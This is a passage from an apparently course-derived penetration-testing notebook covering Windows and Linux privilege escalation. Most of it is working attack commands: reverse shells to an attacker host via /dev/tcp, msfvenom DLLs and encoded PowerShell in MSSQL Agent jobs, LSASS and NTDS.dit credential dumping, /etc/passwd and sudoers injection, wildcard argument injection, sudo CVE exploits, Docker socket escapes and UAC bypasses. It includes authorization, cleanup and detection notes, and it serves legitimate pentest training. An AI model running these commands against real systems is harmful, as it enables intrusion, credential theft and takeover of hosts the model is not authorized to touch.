sc \\$DC stop dns; sc \\$DC start dns # DLL executes as SYSTEM
# CLEANUP immediately or DNS stays broken:
reg delete "\\$DC\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f
sc \\$DC start dns
[!warning] Watch out DnsAdmins and Server Operators are destructive — the DLL crashes DNS for the whole domain until cleanup, and a broken service on a DC is very visible. Get explicit authorization, restore config the moment you’ve proven it, and delete
ServerLevelPluginDll/ revert the binpath.SeLoadDriverPrivilege(Print Operators) is blocked for HKCU driver refs since Win10 1803 — useEoPLoadDriverwhich registers under a writable key, and BYOVD only where driver-signing enforcement allows it.
[!tip] Cleanup is part of the job on every one of these: revert service binpaths, remove added users, delete registry keys, restore file ownership — and document each change for the report.
9 — MSSQL admin → OS command execution
What to look for: I’m sysadmin on MSSQL (found via creds, or the foothold is the SQL service). Two escalation paths: xp_cmdshell, or Agent jobs (survive when xp_cmdshell is blocked/removed).
-- at the SQL prompt (impacket-mssqlclient / sqlcmd) — enable + execute
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
-- then potato it (§3) if the service account has SeImpersonate (default for MSSQL)
-- Agent-job route (works when sp_OACreate / xp_cmdshell are hardened away):
USE msdb;
EXEC sp_add_job @job_name = 'pwnd';
EXEC sp_add_jobstep @job_name = 'pwnd', @step_name = 'x',
@subsystem = 'PowerShell',
@command = 'powershell -enc <base64_revshell>';
EXEC sp_add_jobserver @job_name = 'pwnd';
EXEC sp_start_job @job_name = 'pwnd';
-- cleanup: EXEC sp_delete_job @job_name = 'pwnd';
[!tip] MSSQL enumeration, linked servers, and the full attack surface: Stage 03 — Service Enumeration.
xp_cmdshellruns as the service account — checkwhoami /privin its output forSeImpersonatePrivilege(GodPotato path, §3). Agent jobs can also run as a proxy account with different privileges than the SQL service — sometimes that’s the escalation.
10 — SCCM / WSUS / management-infra abuse
What to look for: signs the box is managed by SCCM (C:\Windows\CCM, ccmexec.exe) or a WSUS client (HKLM\...\WindowsUpdate\AU pointing at an internal HTTP server).
- SCCM — hunt credentials and devices with sccmhunter (
find,smb,showmodules from the attack box), abuse client push / application deployment with SharpSCCM on-host (.\SharpSCCM.exe get naarecovers Network Access Account creds from WMI policy — a classic local-admin harvest). Full module: sibling notes and Stage 03 service enum. - WSUS over HTTP — the update path is unsigned-metadata over HTTP; inject a fake “update” that runs a PsExec-style command as SYSTEM (concept: SharpWSUS / pywsus). Requires control of or MitM to the WSUS server — usually a post-compromise lateral move, not a first privesc.
[!warning] Watch out SCCM
get naatouches WMI on the site server path; fake WSUS updates change machine state domain-wide if scoped wrong. Both need explicit authorization and tight cleanup notes.
11 — Secondary logon & token tools: RunasCs + incognito
What to look for: I have credentials for a higher-priv user but no interactive session (no runas GUI, runas needs a console), or a SYSTEM box where I want to become a specific user.
# ── RunasCs (link-only: https://github.com/antonioCoco/RunasCs) — runas that works
# from ANY shell, supports remote/forced logon types and reverse shells ──
.\RunasCs.exe lowadmin 'Pass123!' powershell -r $LHOST:443
.\RunasCs.exe lowadmin 'Pass123!' cmd -l 3 # logon type 3 = network (no profile, quiet)
# ── Meterpreter incognito (post-exploit module) — list & steal live tokens ──
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\Administrator" # token must exist (user logged in / service running)
meterpreter > getsystem # technique 1 = impersonation variant of the potato idea
[!note]
incognitosteals existing tokens only — if the target user has never logged on since boot (no delegation token), there’s nothing to steal.runas /netonly(Stage 08) creates a local process with remote creds — different primitive, useful for AD tooling, not local privesc.
12 — Windows kernel/local privesc CVEs (last resort)
What to look for: systeminfo output fed to WES-NG / Windows-Exploit-Suggester offline, missing-patch diff pointing at a privesc CVE. Same rule as Linux: misconfigs first, kernel last — a blue screen on a client’s DC ends engagements.
| CVE / name | Affects | Vector | Caution |
|---|---|---|---|
| MS16-032 (Secondary Logon) | Vista→2012 R2, pre-MS16-032 | PowerShell race → SYSTEM | PSv2+; reliable-ish, old targets only |
| CVE-2021-36934 HiveNightmare | Win10 1809+ / Server 2019+ with VSS shadow | SAM/SECURITY/SYSTEM hives world-readable → dump local hashes | read-only, non-destructive — try early; check icacls C:\Windows\System32\config\SAM |
| CVE-2021-1675 / CVE-2021-34527 PrintNightmare | Spooler on, point-and-print | driver load → SYSTEM | loud, needs auth; patched mid-2021 but stragglers persist |
| CVE-2022-21999 SpoolFool | Spooler on | dir-primitive → DLL write → SYSTEM | PoC-only class; verify build |
| PwnKit-class Windows analogues (token/ALPC bugs) | varies | varies | treat as memory-corruption risk unless logic bug |
# HiveNightmare quick check — BUILTIN\Users read on the SAM hive = vulnerable
icacls C:\Windows\System32\config\SAM
[!danger] Kernel exploit caution (Windows) Same discipline as Linux §7: (1) config/group/token paths first, (2) prefer logic bugs (HiveNightmare is a permissions bug — no crash risk) over memory corruption, (3) verify the exact build against WES-NG output, (4) expect BSOD possibility and get sign-off, (5) document. Detection: Event 4688 (process creation), 7045 (new service), 4672 (special privileges assigned) will light up on nearly every escalation here — assume a monitored box sees the effect even when the exploit itself is fileless.
[!opsec] Detection cheat-sheet (what the blue team sees)
Artifact Event / source New or reconfigured service 7045 (System), 4697, SC Manager logs SYSTEM child of w3wp.exe/sqlservr.exe4688 process creation (potatoes) Token privileges granted/used 4672 / 4673 (sensitive privilege use) LSASS access Sysmon 10 (process access, GrantedAccess 0x1010) Registry ImagePath / Run key change 4657, Sysmon 12–14 wevtutil/ log tampering1102 (log cleared) — never clear logs, exfiltrate and leave them
👥 Privileged group shortcuts (why whoami /groups matters)
What to look for → whoami /groups (or a BloodHound MemberOf) showing a built-in operator group. Several are a direct escalation without any CVE:
- Account Operators → create users and reset/modify any non-protected account, and log on to the DC. Pivot: create a user and drop it into a non-protected group that holds an ACL edge (STAGE 6), or reset a service account’s password. Deep dive: 🟣 Attack.
- Backup Operators → read any file via
SeBackupPrivilege→ grabNTDS.dit+SYSTEMoff the DC (see STAGE 9/10), not the local SAM. Deep dive: 🟣 Attack. - Server Operators → control services on the DC → reconfigure one to run your payload as
SYSTEM. Deep dive: 🟣 Attack. - Print Operators →
SeLoadDriverPrivilege→ load a malicious driver. Deep dive: 🟣 Attack. - DnsAdmins → DLL injection into the DNS service (
dns.exe) →SYSTEMon the DC. Deep dive: 🟣 Attack. - Event Log Readers → not direct privesc, but sensitive-log scraping is a credential mine: PowerShell transcription/ScriptBlock logs (4104), command-line auditing (4688 with cmdline), and RDP/auth logs routinely contain passwords typed as arguments, connection strings, and
-pflags:Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Message -match "pass|pwd|token"} | Select -First 20 wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /c:200 | findstr /i "password" - Hyper-V Administrators → Full control of VMs on the host: swap/replace a running VM’s virtual hard disk (
HardDiskDriveACL manipulation or VHDX swap → boot a VM you control, mount the original disk offline) → loot the VM’s hives/creds. Also a path to the host viavmwp.exevulnerabilities on old builds. - Remote Management Users → WinRM access (foothold, not privesc) — but combined with the groups above it’s the execution channel.
🐧 Linux PrivEsc — Deeper Vectors (PATH · NFS · Docker/LXD · LD_PRELOAD · wildcard · systemd)
Depth behind STAGE 9’s one-liners — the manual mechanics, the vectors the automated one-liners only hint at, and the gotchas the Linux PrivEsc module teaches. Same loop: find the trust boundary where a root process (cron, SUID binary, root’s own session, an NFS export) trusts something I can write, and step through it. Full command index: Linux PrivEsc Cheat Sheet.
A — PATH hijack a root-run unqualified command
What to look for: a root cron job / SUID binary / sudoers script that calls a helper by bare name (conncheck, service, backup) instead of an absolute path, plus a writable dir sitting earlier in that process’s PATH.
# find writable dirs on PATH + which root scripts call bare command names
echo $PATH
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null # world-writable dirs
grep -rE '^[^/#]*\b(cp|tar|service|backup|conncheck)\b' /etc/cron* /opt /usr/local 2>/dev/null
strings /path/to/suid_bin | grep -vE '^/' # SUID calling a bare name → hijackable
# drop a same-named payload in a dir that resolves before the real binary
PATH=.:${PATH}; export PATH
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > conncheck
chmod +x conncheck
# when the root job fires: /tmp/rootbash -p → root euid
[!warning] Watch out
sudo -lshowingsecure_path=...kills PATH abuse for that sudoers entry — sudo rebuilds PATH fromsecure_path, so a hijack only works against cron/SUID/scripts, not that sudo command. A SUID binary callingsystem("service …")runs the child through/bin/shand does honour my PATH — that’s the classic win. Details: 2 - Cron Jobs & Scheduled Task Abuse.
B — Wildcard / argument injection (beyond tar --checkpoint)
What to look for: a root cron/script running a command with a bare * over a directory I can write to — tar -zcf bak.tgz *, chown -R x *, rsync … *. The glob expands my crafted filenames straight into the command’s argv.
# tar → cleaner payload than a revshell: grant myself NOPASSWD (survives, no listener)
echo 'echo "'"$U"' ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > "--checkpoint=1"
# next tar run → sudo su ; done
# rsync wildcard → -e runs a command as the remote-shell
touch "shell.sh"; echo 'cp /bin/bash /tmp/rb;chmod +s /tmp/rb' > shell.sh
touch "-e sh shell.sh" # rsync … * -> rsync -e sh shell.sh
# chown/chmod wildcard → --reference clones a file's owner/mode onto the glob
touch "--reference=/tmp/pwned" # chown -R root:root * hands me ownership
[!tip]
tar,rsync,chown,chmod,7zall have GTFOBins-documented wildcard/argv abuse. Confirm the job is live withpspy64 -pfbefore planting files — a stale-looking backup script that never fires wastes the window. Absolute-path args + a leading--separator are the fix, so their absence is the tell.
C — NFS no_root_squash → SUID shell staged as attacker-root
What to look for: an NFS export marked no_root_squash (or no_all_squash). Normally root on a client is squashed to nfsnobody; no_root_squash lets me create root-owned SUID files on the share from my own box (where I am root).
# ── [ATTACKER] enumerate exports, no creds needed ──
showmount -e $IP
# on target, confirm the flag: cat /etc/exports → /var/nfs/general *(rw,no_root_squash)
# ── [ATTACKER, as real root] build a setuid shell (no -p needed) and stage it ──
cat > shell.c <<'EOF'
int main(void){ setuid(0); setgid(0); system("/bin/bash"); }
EOF
gcc shell.c -o shell -static # -static dodges target glibc mismatch
sudo mount -t nfs $IP:/tmp /mnt
cp shell /mnt && chmod u+s /mnt/shell
# ── [TARGET] low-priv session ── /tmp/shell → uid=0
[!warning] Watch out I must be root on my own box for the
chmod u+sto stick with root ownership across the mount — that’s the whole mechanism.cp /bin/bashworks too but then you needbash -pon target to keep euid; a hand-rolledsetuid(0)binary doesn’t. If the mount errors, the export is likelyroot_squash(safe default) and this path is dead. LinPEAS flagsno_root_squashautomatically. See 9 - Remaining Vectors & Skills Checklist.
D — docker group / writable docker.sock (root-equivalent, no CVE)
What to look for: my id shows the docker group, a SUID/sudo docker, or a readable/writable /var/run/docker.sock (on host or inside a container). Any of these = full host filesystem, because Docker mounts arbitrary host paths into a container I control.
id | grep -o 'docker'
ls -la /var/run/docker.sock # srw-rw---- and I can reach it?
find / -name docker.sock 2>/dev/null # from inside a container too
# ── docker group on host: mount host / into a throwaway container and chroot in ──
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash # you ARE the host now
docker run -v /root:/mnt -it ubuntu # or just grab /root, /etc/shadow
# ── writable socket from inside a container (docker CLI may be absent → stage it) ──
wget http://$LHOST/docker -O /tmp/docker && chmod +x /tmp/docker
/tmp/docker -H unix:///var/run/docker.sock run --rm -d --privileged -v /:/hostsystem ubuntu
/tmp/docker -H unix:///var/run/docker.sock ps # grab the new container id
/tmp/docker -H unix:///var/run/docker.sock exec -it <id> cat /hostsystem/root/.ssh/id_rsa
[!note] Before any socket trick, check for a bind-mounted host dir inside the container (
/hostsystem, weird top-level paths) — reading/hostsystem/home/*/.ssh/id_rsaand SSHing to the host is faster than spawning a sibling container.deepceautomates all of this from a container foothold. Full walk-through: 6 - Docker Privilege Escalation. (LXD/LXC group is already in STAGE 9 §6.)
E — Writable /etc/passwd or /etc/shadow
What to look for: /etc/passwd or /etc/shadow world-writable (or reachable via a cap_dac_override binary / Dirty Pipe). Add a root-UID user, or blank root’s password. Same logic applies to a writable /etc/sudoers (rare but instant: add $U ALL=(ALL) NOPASSWD: ALL).
ls -l /etc/passwd /etc/shadow /etc/sudoers
find / -writable -name passwd -o -writable -name shadow 2>/dev/null
# ── writable /etc/passwd: append a second UID-0 account with a known password ──
openssl passwd -1 -salt x Pass123 # -> $1$x$....
echo 'r00t:$1$x$hashfromabove:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t # Pass123 → uid=0
# ── cap_dac_override binary (e.g. vim.basic) bypasses perms → blank root's pw field ──
getcap -r / 2>/dev/null | grep cap_dac_override
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
su root # no password prompt at all
[!warning] Watch out Modern
/etc/passwdusesx(password in shadow), so editing passwd only helps if I add a full hash inline (as above) — the system honours an inline$1$…over thex/shadow redirection.cap_dac_override,cap_setuid,cap_setgidare invisible tols -l; onlygetcapshows them. See 8 - Kernel Exploits, SUID-SGID & Capabilities.
F — Shared-library hijack: RUNPATH · LD_LIBRARY_PATH · ld.so.preload
What to look for: a SUID/root binary linked against a non-standard .so whose search path (RUNPATH/RPATH, or an env-kept LD_LIBRARY_PATH) points somewhere writable. Broader than the env_keep+=LD_PRELOAD one-liner already in STAGE 9 §2.
ldd /path/to/suid_bin # any lib in a weird/writable dir?
readelf -d /path/to/suid_bin | grep -E 'RPATH|RUNPATH' # runpath checked BEFORE system dirs
./suid_bin # run it first: "undefined symbol: dbquery" names the fn to export
# ── build a malicious .so exporting the SAME symbol the binary calls ──
cat > src.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void dbquery(){ setuid(0); system("/bin/sh -p"); } // match the missing symbol name
EOF
gcc src.c -fPIC -shared -o /development/libshared.so # /development = the writable RUNPATH dir
./suid_bin # loads my lib as root
# ── env-kept LD_LIBRARY_PATH via sudo, same idea without a writable RUNPATH ──
sudo LD_LIBRARY_PATH=/tmp <allowed_cmd>
[!tip] The fake
.somust export every symbol the binary actually calls, or it won’t load — run the binary unmodified first to read theundefined symbolname.-ponsh/bashpreserves the SUID euid. A SUID binary that can write/etc/ld.so.preload(e.g. Screen 4.5.0) is the nuclear version — one line there preloads my lib into every dynamically-linked process system-wide. Deep dive: 9 - Remaining Vectors & Skills Checklist / env side in 4 - Escaping Restricted Shells & Environment Variable Abuse.
G — Python library hijacking (3 flavours)
What to look for: a SUID or sudo-run Python script. I don’t need a bug in the script — I hijack a module it imports.
# 1) writable module SOURCE — inject into a function the script calls
pip3 show psutil # -> install Location
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable?
# prepend to the imported function: import os; os.system('id')
# 2) sys.path priority — drop a same-named module in a higher-priority WRITABLE dir
python3 -c 'import sys; print("\n".join(sys.path))'
ls -ld /usr/lib/python3.8 # earlier in sys.path AND writable → wins
printf 'import os\ndef virtual_memory():\n os.system("/bin/bash -p")\n' > /usr/lib/python3.8/psutil.py
# 3) PYTHONPATH — needs SETENV in sudoers, no writable path anywhere
sudo -l | grep SETENV # (ALL) SETENV: NOPASSWD: /usr/bin/python3
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /path/mem_status.py # my /tmp/psutil.py imported first as root
[!note] Python imports the first
sys.pathmatch — a writable dir earlier in the list beats the real package even when the package itself is untouchable. AnAttributeErrortraceback afteridprints is fine: code execution already happened, the crash is just my stub missing attributes. From 9 - Remaining Vectors & Skills Checklist.
H — systemd service & timer abuse
What to look for: a writable .service/.timer unit, a writable binary referenced by ExecStart, or sudo systemctl.
systemctl list-timers --all
find /etc/systemd/ /lib/systemd/ /run/systemd/ -writable -name '*.service' -o -writable -name '*.timer' 2>/dev/null
systemctl cat <svc> | grep ExecStart # is the target binary writable by me?
# ── writable unit → point ExecStart at a revshell, reload, fire ──
mkdir -p ~/.x; printf '[Service]\nType=oneshot\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/'"$LHOST"'/443 0>&1"\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/x.service
systemctl daemon-reload && systemctl start x.service
# ── sudo systemctl (GTFOBins): pager escape ──
sudo systemctl status trail.service # then at the pager: !sh
# no pager? sudo systemctl → set a temp unit as above, or `sudo systemctl edit --full <svc>` and inject ExecStart
[!warning] Watch out A writable timer is as good as a writable service — point its
Unit=at anything I can influence and wait for the schedule.logrotateis the same family: writable log + a vulnerablelogrotate(3.8.6/3.11.0/3.15.0/3.18.0) →logrotten -p ./payload /tmp/tmp.lograces rotation into a root shell. MITRE T1543.002 Systemd Service. Cleanup: remove the planted unit andsystemctl daemon-reloadagain.
I — Sudo CVEs & sudoedit (when sudo -l is thin)
What to look for: an old sudo (sudo -V | head -1), a single harmless-looking sudo grant, or a sudoedit/-e entry.
sudo -V | head -1 # version is the whole prereq for the heap bug
# Baron Samedit CVE-2021-3156 (< 1.9.5p2) — quick non-destructive DETECT before firing a PoC:
sudoedit -s '\' $(python3 -c 'print("A"*1000)') # "malloc(): ..." / segfault == vulnerable
# ── Baron Samedit: blasty PoC, match target index to /etc/lsb-release ──
git clone https://github.com/blasty/CVE-2021-3156 && cd CVE-2021-3156 && make
cat /etc/lsb-release; ./sudo-hax-me-a-sandwich 1 # 1 = Focal/sudo1.8.31 etc.
# ── CVE-2019-14287 (< 1.8.28): a lone `(ALL) /usr/bin/id`-style grant → run as UID -1 = 0 ──
sudo -u#-1 /usr/bin/<the_allowed_binary> # works when the allowed binary can spawn a shell
# ── PwnKit CVE-2021-4034: needs only SUID pkexec, no sudo/group at all ──
git clone https://github.com/arthepsy/CVE-2021-4034 && cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc && ./poc
# ── sudoedit CVE-2023-22809: `sudo -l` shows sudoedit/`-e` → smuggle an extra file to edit ──
export EDITOR='vi -- /etc/sudoers' # or /etc/passwd
sudoedit /the/allowed/file # opens /etc/sudoers too → add NOPASSWD: ALL
[!warning] Watch out The Baron Samedit heap offsets are tuned per distro/sudo/libc — a mismatched index can hang or crash the box, so match
/etc/lsb-releaseexactly, and run the non-destructivesudoedit -sdetector first.tcpdump -zpostrotate (STAGE 9 §2) is now blocked by AppArmor on newer distros — checkaa-status. Full CVE table: 5 - Sudo Rights & Privileged Group Abuse.
J — Overlooked groups & shared sessions (disk · adm · tmux)
What to look for: supplementary groups in id beyond sudo/docker/lxd, and root-owned tmux/screen sockets I can attach to (mechanics in §9 above).
id # disk? adm? and any *-writable socket
ps aux | grep -E 'tmux|screen' # root session on a custom socket?
# ── disk group: raw block-device access → read/write the whole FS with debugfs ──
debugfs -w /dev/sda1 # debugfs> cat /root/.ssh/id_rsa (or write a SUID)
# ── adm group: read every /var/log — creds, cron activity, tokens leaked to logs ──
grep -riE 'pass|token|secret' /var/log 2>/dev/null
# ── tmux socket hijack: group-writable root session → just reattach ──
ls -la /shareds # srw-rw---- root devs, and I'm in devs
tmux -S /shareds # drops me straight into root's live shell
[!tip]
diskandadmnever touch/etc/sudoersyetdiskis effectively root (raw FS) andadmis a credential goldmine — always readidfor unfamiliar groups, not justsudo. A root tmux/screen socket that’s group-writable needs zero exploit code — attaching inherits root’s running shell. All from 5 - Sudo Rights & Privileged Group Abuse + 9 - Remaining Vectors & Skills Checklist.
🪟 Windows PrivEsc — Deeper Vectors (token privs · DLL hijack · UAC · saved creds · potato matrix)
The SeImpersonate → potato / weak-service / AlwaysInstallElevated wins above are the fast lane. When they miss, whoami /priv and whoami /groups are a menu — every Disabled privilege is still assigned and live. This is the deeper matrix: what each token privilege buys, the manual methods behind the automated finds, UAC, scheduled tasks, autoruns, the full saved-cred sweep, and how to pick the right potato. Full workflow: Windows PrivEsc Cheat Sheet · Implementation Roadmap Strategic Workflow for Windows Privilege Escalation.
The token-privilege matrix (map the priv → the technique)
What to look for: any of these in whoami /priv, even Disabled. Windows ships no cmdlet to flip a Disabled priv on — a scripted AdjustTokenPrivileges helper (EnableAllTokenPrivs, Enable-Privilege.ps1, or the tool’s own self-enable) does it. (Summary table is §2 above; this is the deep-dive.)
whoami /priv
[environment]::OSVersion.Version # build → picks potato/UACMe technique
| Privilege | Source acct (typical) | Technique | Tool |
|---|---|---|---|
SeImpersonate / SeAssignPrimaryToken | IIS AppPool, MSSQL, NETWORK/LOCAL SERVICE | coerce a SYSTEM component → steal token | potato family (§3) |
SeDebug | dev accounts, misassigned GPO | dump LSASS or steal a SYSTEM proc token | procdump+mimikatz / psgetsys |
SeTakeOwnership | backup/VSS-adjacent svc accts | own any securable object, then re-ACL it | takeown + icacls |
SeBackup / SeRestore | Backup/Server Operators | ACL-bypass read (backup semantics) → NTDS/SAM | robocopy /B, diskshadow, DSInternals |
SeManageVolume | some service accounts | grant Users full control of C:\ → DLL hijack | SeManageVolumeExploit |
SeLoadDriver | Print Operators | BYOVD — load a vulnerable signed driver | EoPLoadDriver + Capcom.sys |
[!note]
whoami /groupsmatters as much as/priv. Membership in Backup Operators / Server Operators / Print Operators / DnsAdmins hands youSeBackup/SeRestore/SeLoadDriveretc. and is Domain-Admin-equivalent on the resources it touches — see the built-in-group section above and 4 - Privilege Abuse via Built-in Groups (SeDebug, SeTakeOwnership, DnsAdmins & More).
SeDebugPrivilege → LSASS dump or direct SYSTEM token theft
What to look for: SeDebugPrivilege present (Administrators by default, but handed to developers via Debug programs GPO). It lets you open any process — exactly what LSASS reading and token theft need. Do not migrate into lsass (you’ll destabilise it); dump it offline or steal a different SYSTEM process’s token.
whoami /priv | findstr /i SeDebug
tasklist | findstr /i "winlogon lsass" # note a SYSTEM PID (winlogon is reliable)
:: ── (a) dump LSASS offline → creds via mimikatz on my box ──
procdump.exe -accepteula -ma lsass.exe lsass.dmp
:: no upload? Task Manager → Details → lsass.exe → Create dump file
:: LOLBAS one-liner (comsvcs.dll MiniDump), no procdump needed:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\Windows\Temp\l.dmp full
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # log
mimikatz # sekurlsa::logonpasswords
# ── (b) skip creds entirely — inherit a SYSTEM proc's token → spawn cmd ──
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "winlogon").Id,"c:\Windows\System32\cmd.exe","")
# the trailing "" third arg is REQUIRED. Swap winlogon for lsass if you prefer.
[!warning] Watch out The
comsvcs.dllMiniDump one-liner andprocdump -ma lsassare both heavily signatured (Event 4688 + Defender ASR “block credential stealing from LSASS”). Token theft viapsgetsystouches no cred store and is quieter. On a box with LSA Protection (RunAsPPL=1) a plain minidump fails — you’d need a driver/mimikatz !+route, out of scope for a quick win.
SeTakeOwnershipPrivilege → own any file, then read it
What to look for: SeTakeOwnershipPrivilege — grants WRITE_OWNER over any securable object. Common on a backup/VSS service account alongside SeBackup/SeSecurity without full local admin.
# find the juicy target — owner shows as unreadable = too tight to read directly
Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,@{N="Owner";E={(Get-Acl $_.FullName).Owner}}
takeown /f "C:\Department Shares\Private\IT\cred.txt"
icacls "C:\Department Shares\Private\IT\cred.txt" /grant %USERNAME%:F
type "C:\Department Shares\Private\IT\cred.txt"
High-value targets for this: web.config, %WINDIR%\repair\{sam,system,security}, %WINDIR%\system32\config\*.sav, .kdbx, .vhdx, any pass*/cred* file.
[!warning] Watch out
takeownalone does not grant read — expectAccess deniedontypeuntil theicacls /grantruns (two-step). An explicit Deny ACE still blocks you. Revert ownership + ACL afterward (icacls /setowner, remove the grant) and document it — this is a loud, hard-to-fully-undo change.
SeBackup / SeRestore → NTDS or local SAM (beyond robocopy /B)
What to look for: SeBackupPrivilege (read past any DACL via FILE_FLAG_BACKUP_SEMANTICS) + SeRestorePrivilege (write past it, and set owners). The robocopy /B + reg save route is in the Backup Operators block above — these are the alternates for when a file is locked (NTDS) or you want targeted extraction.
# enable the priv in-session first (it flips Disabled→Enabled)
Import-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege; Get-SeBackupPrivilege
# Diskshadow interactive prompt: snapshot the locked NTDS volume
C:\> diskshadow.exe
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
# Copy the locked database through the exposed shadow volume.
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
:: Export the SYSTEM hive from an elevated Command Prompt.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# ── targeted, on-host, no Linux hop: pull one account straight out of ntds.dit (DSInternals) ──
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
:: On a member server or workstation, export the local SAM and SYSTEM hives.
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
# Parse the copied hives or NTDS database offline from Linux.
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL # whole domain
impacket-secretsdump -sam SAM -system SYSTEM LOCAL # local hashes
[!tip]
Copy-FileSeBackupPrivilegeneeds the twoSeBackupPrivilege*.dlls uploaded;robocopy /B(in the Backup Operators block) does the same with only native binaries — reach for it when third-party files are blocked. DSInternals is the PowerShell toolkit for on-host NTDS parsing. A.vhd/.vhdx/.vmdkon a backup share is the tool-free version of this whole chain: mount it (guestmount -a disk.vmdk -i --ro /mnton Linux, or Disk Mgmt → Attach VHD) andsecretsdump ... LOCALitsConfig\hives — see 15 - Scheduled Tasks, Description Fields & Mounting Disks.
SeManageVolume → arbitrary write to C:\ → DLL hijack chain
What to look for: SeManageVolumePrivilege Enabled (seen on the MSSQL virtual service account in 3 - Windows Privileges & Impersonation Attacks (JuicyPotato, PrintSpoofer)). It’s abusable into a full-control ACL over C:\, which becomes SYSTEM via a DLL a privileged process loads.
whoami /priv | findstr /i SeManageVolume
:: SeManageVolumeExploit.exe (CsEnox) grants BUILTIN\Users full control of C:\ recursively
.\SeManageVolumeExploit.exe
:: now drop a hijack DLL where a SYSTEM process/service resolves it (e.g. a missing
:: DLL under C:\Windows\System32 that a scheduled task / service loads), then trigger it
[!warning] Watch out This is a two-stage primitive — SeManageVolume only gives you the write; you still need a SYSTEM process that loads a DLL from a now-writable path (pair with the DLL-hijack discovery below). Granting
Usersfull control ofC:\is extremely noisy and hard to fully revert — get sign-off and restore the ACL after proving it.
Service & application DLL hijacking (proxy vs invalid-library)
What to look for: a service running as SYSTEM (sc qc <svc> → LocalSystem) whose own folder is writable, or that searches for a DLL it never ships. Code execution follows whatever process loads the DLL — hijack a SYSTEM service and it’s privesc, not just RCE. Search-order table is in §6 above. Full walkthrough: 9 - DLL Hijacking.
# ── discovery: PowerUp finds writable-PATH and hijackable-process DLL slots ──
Import-Module .\PowerUp.ps1
Find-PathDLLHijack ; Find-ProcessDLLHijack
# ── manual: Process Monitor, filter the target EXE, then either ──
# Operation is 'Load Image' → a DLL it loads by unqualified name from its own dir (proxy target)
# Path ends with '.dll' AND Result is 'NAME NOT FOUND' → a DLL it wants but never finds (free win)
# static triage without running it:
dumpbin /imports C:\Path\to\service.exe # or PE Explorer / Process Explorer
icacls "C:\Program Files\VulnApp" # is the app's own folder writable?
# ── invalid-library hijack: app looks for x.dll, never finds it, you own 100% of it ──
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o x.dll
# rename to the exact missing name, drop in the app's own writable dir, restart the svc
[!tip] Two flavours: proxying re-exports the real functions (load
library.o.dll, call through, run your payload) so the app keeps working — quiet, hard to spot. Invalid-library fills aNAME NOT FOUNDgap — total control, no functionality to preserve, but more conspicuous if the missing DLL was supposed to do something visible.DllMain’sDLL_PROCESS_ATTACHis where the payload fires.
[!warning] Watch out Safe DLL Search Mode (on by default) pushes the current working directory below
System32, but the application’s own directory is always searched first — that’s what keeps hijacking alive on a patched box. A hijack in a user-context app is same-privilege RCE, worthless for escalation; always tie it back to the loading process’s account before spending time on it.
UAC bypass (fodhelper · srrstr · eventvwr · CVE-2019-1388)
What to look for: I’m in the local Administrators group but whoami /priv shows only a standard-user token (split-token / medium integrity). Confirm UAC is on and how strict, then match a UACMe technique to the exact build. Full worked example: 5 - User Account Control (UAC) Bypass. MITRE T1548.002.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
:: EnableLUA 0x1 = on. ConsentPromptBehaviorAdmin 0x5 ("Always notify") = strictest, kills most techniques.
:: ── fodhelper.exe — classic fileless auto-elevate, no DLL on disk ──
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c C:\Windows\Temp\rev.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /f
fodhelper.exe
:: ── eventvwr.exe variant (same idea, different hijacked class) ──
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d "C:\Windows\Temp\rev.exe" /f & eventvwr.exe
:: cleanup: reg delete both keys /f
# ── DLL-search UACMe technique 54 (build ≥14393): auto-elevating SystemPropertiesAdvanced.exe ──
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > srrstr.dll
# drop into the user-writable, PATH-listed WindowsApps folder, then run the 32-bit binary:
# %LOCALAPPDATA%\Microsoft\WindowsApps\srrstr.dll → C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
